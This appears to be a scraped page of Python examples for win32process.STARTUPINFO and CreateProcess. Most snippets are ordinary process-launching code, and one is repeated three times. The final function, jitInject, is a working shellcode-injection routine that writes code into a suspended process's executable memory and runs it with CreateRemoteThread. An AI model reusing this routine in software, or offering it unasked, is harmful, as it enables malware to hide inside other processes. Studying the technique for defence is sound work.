Python win32process.STARTUPINFO Examples

def main():
    if sys.argv[1] == 'child':
        if sys.argv[2] == 'windows':
            import win32api as api, win32process as proc
            info = proc.STARTUPINFO()
            info.hStdInput = api.GetStdHandle(api.STD_INPUT_HANDLE)
            info.hStdOutput = api.GetStdHandle(api.STD_OUTPUT_HANDLE)
            info.hStdError = api.GetStdHandle(api.STD_ERROR_HANDLE)
            python = sys.executable
            scriptDir = os.path.dirname(__file__)
            scriptName = os.path.basename(__file__)
            proc.CreateProcess(
                None, " ".join((python, scriptName, "grandchild")), None,
                None, 1, 0, os.environ, scriptDir, info)
        else:
            if os.fork() == 0:
                grandchild()
    else:
        grandchild() 

def LaunchWin32Process(self, command):
        try:
            StartupInfo = win32process.STARTUPINFO()
            StartupInfo.dwFlags = win32process.STARTF_USESHOWWINDOW
            StartupInfo.wShowWindow = win32con.SW_NORMAL
            win32process.CreateProcess(
                None,
                command,
                None,
                None,
                0,
                win32process.NORMAL_PRIORITY_CLASS,
                None,
                None,
                StartupInfo)
        except Exception as e:
            print(sys.exc_info())
            print("Exception in LaunchWin32Process")
            pass 

def start(self, cmd):
        sAttr = win32security.SECURITY_ATTRIBUTES()
        sAttr.bInheritHandle = True

        stdout_r, stdout_w = win32pipe.CreatePipe(sAttr,0)
        stdin_r, stdin_w = win32pipe.CreatePipe(sAttr,0)
        self.read_handle=stdout_r
        self.write_handle=stdout_w
        self.stdin_write=stdin_w

        si = win32process.STARTUPINFO()
        si.dwFlags = win32process.STARTF_USESHOWWINDOW | win32process.STARTF_USESTDHANDLES
        si.wShowWindow = win32con.SW_HIDE
        si.hStdInput = stdin_r            # file descriptor of origin stdin
        si.hStdOutput = stdout_w
        si.hStdError = stdout_w
        hProcess, hThread, dwProcessID, dwThreadID = win32process.CreateProcess(None,"cmd", None, None, True, win32process.CREATE_NEW_CONSOLE, None, None, si)
        self.dwProcessID=dwProcessID
        self.hProcess=hProcess
        sleep(0.5)
        if self.hProcess == 0:
            DebugOutput("Start Process Fail:{:d}".format(win32api.GetLastError()))
        DebugOutput('[*] pid: {:x}'.format(self.dwProcessID))
        self.Console_hwnd = get_hwnds_for_pid(self.dwProcessID)
        if len(self.Console_hwnd)==0:
            raise Exception("Fail to run,No Process!")
        DebugOutput('[*] hwnd:{:x}'.format(self.Console_hwnd[0])) 

def main():
    if sys.argv[1] == 'child':
        if sys.argv[2] == 'windows':
            import win32api as api, win32process as proc
            info = proc.STARTUPINFO()
            info.hStdInput = api.GetStdHandle(api.STD_INPUT_HANDLE)
            info.hStdOutput = api.GetStdHandle(api.STD_OUTPUT_HANDLE)
            info.hStdError = api.GetStdHandle(api.STD_ERROR_HANDLE)
            python = sys.executable
            scriptDir = os.path.dirname(__file__)
            scriptName = os.path.basename(__file__)
            proc.CreateProcess(
                None, " ".join((python, scriptName, "grandchild")), None,
                None, 1, 0, os.environ, scriptDir, info)
        else:
            if os.fork() == 0:
                grandchild()
    else:
        grandchild() 

def create_desktop(desktop_name, start_explorer=1):
    """ Creates a new desktop and spawns a thread running on it
        Will also start a new icon thread on an existing desktop
    """
    sa=pywintypes.SECURITY_ATTRIBUTES()
    sa.bInheritHandle=1

    try:
        hdesk=win32service.CreateDesktop(desktop_name, 0, win32con.MAXIMUM_ALLOWED, sa)
    except win32service.error:
        traceback.print_exc()
        errbuf=cStringIO.StringIO()
        traceback.print_exc(None,errbuf)
        win32api.MessageBox(0, errbuf.getvalue(), 'Desktop creation failed')
        return
    if start_explorer:
        s=win32process.STARTUPINFO()
        s.lpDesktop=desktop_name
        prc_info=win32process.CreateProcess(None, "Explorer.exe",None,None,True,win32con.CREATE_NEW_CONSOLE,None,'c:\\',s)

    th=thread.start_new_thread(new_icon,(hdesk,desktop_name))
    hdesk.SwitchDesktop() 

def start(self):
        procHandle, threadHandle, procId, threadId  = win32process.CreateProcess(
            None, # appName
            'python.exe "%s" /run_test_process %s %s' % (this_file,
                                                         self.BucketCount,
                                                         self.threadCount),
            None, # process security
            None, # thread security
            0, # inherit handles
            win32process.NORMAL_PRIORITY_CLASS,
            None, # new environment
            None, # Current directory
            win32process.STARTUPINFO(), # startup info
            )
        self.processHandle = procHandle 

def main():
    if sys.argv[1] == 'child':
        if sys.argv[2] == 'windows':
            import win32api as api, win32process as proc
            info = proc.STARTUPINFO()
            info.hStdInput = api.GetStdHandle(api.STD_INPUT_HANDLE)
            info.hStdOutput = api.GetStdHandle(api.STD_OUTPUT_HANDLE)
            info.hStdError = api.GetStdHandle(api.STD_ERROR_HANDLE)
            python = sys.executable
            scriptDir = os.path.dirname(__file__)
            scriptName = os.path.basename(__file__)
            proc.CreateProcess(
                None, " ".join((python, scriptName, "grandchild")), None,
                None, 1, 0, os.environ, scriptDir, info)
        else:
            if os.fork() == 0:
                grandchild()
    else:
        grandchild() 

def launch_chrome():
    global chrome
    if os.path.exists(chrome_path):
        command="\"{}\"--remote-debugging-port={}".format(chrome_path, port_chrome)
        print(u"如果Chrome白屏，请使用CMD手动运行以下命令:\n{}".format(command))
        chrome = win32process.CreateProcess(None, "{} --remote-debugging-port={}".format(chrome_path, port_chrome),None, None, 0, 0, None, None, win32process.STARTUPINFO())
    else:
        print(u"未找到Chrome安装目录")
        exit(-1) 

def jitInject(path, shellcode):
	info = win32process.CreateProcess(None, path, None, None, False, 0x04, None, None, win32process.STARTUPINFO())  
	page_rwx_value = 0x40
	process_all = 0x1F0FFF
	memcommit = 0x00001000

	shellcode_length = len(shellcode)
	process_handle = info[0].handle # phandle

	VirtualAllocEx = windll.kernel32.VirtualAllocEx
	VirtualAllocEx.restype = LPVOID
	VirtualAllocEx.argtypes = (HANDLE, LPVOID, DWORD, DWORD, DWORD)

	WriteProcessMemory = ctypes.windll.kernel32.WriteProcessMemory
	WriteProcessMemory.restype = BOOL
	WriteProcessMemory.argtypes = (HANDLE, LPVOID, LPCVOID, DWORD, DWORD)

	CreateRemoteThread = ctypes.windll.kernel32.CreateRemoteThread
	CreateRemoteThread.restype = HANDLE
	CreateRemoteThread.argtypes = (HANDLE, LPSECURITY_ATTRIBUTES, DWORD, LPTHREAD_START_ROUTINE, LPVOID, DWORD, DWORD)

	lpBuffer = VirtualAllocEx(process_handle, 0, shellcode_length, memcommit, page_rwx_value)
	print(hex(lpBuffer))
	WriteProcessMemory(process_handle, lpBuffer, shellcode, shellcode_length, 0)
	CreateRemoteThread(process_handle, None, 0, lpBuffer, 0, 0, 0)
	print('JIT Injection, done.')
# -------------------------------------------------- #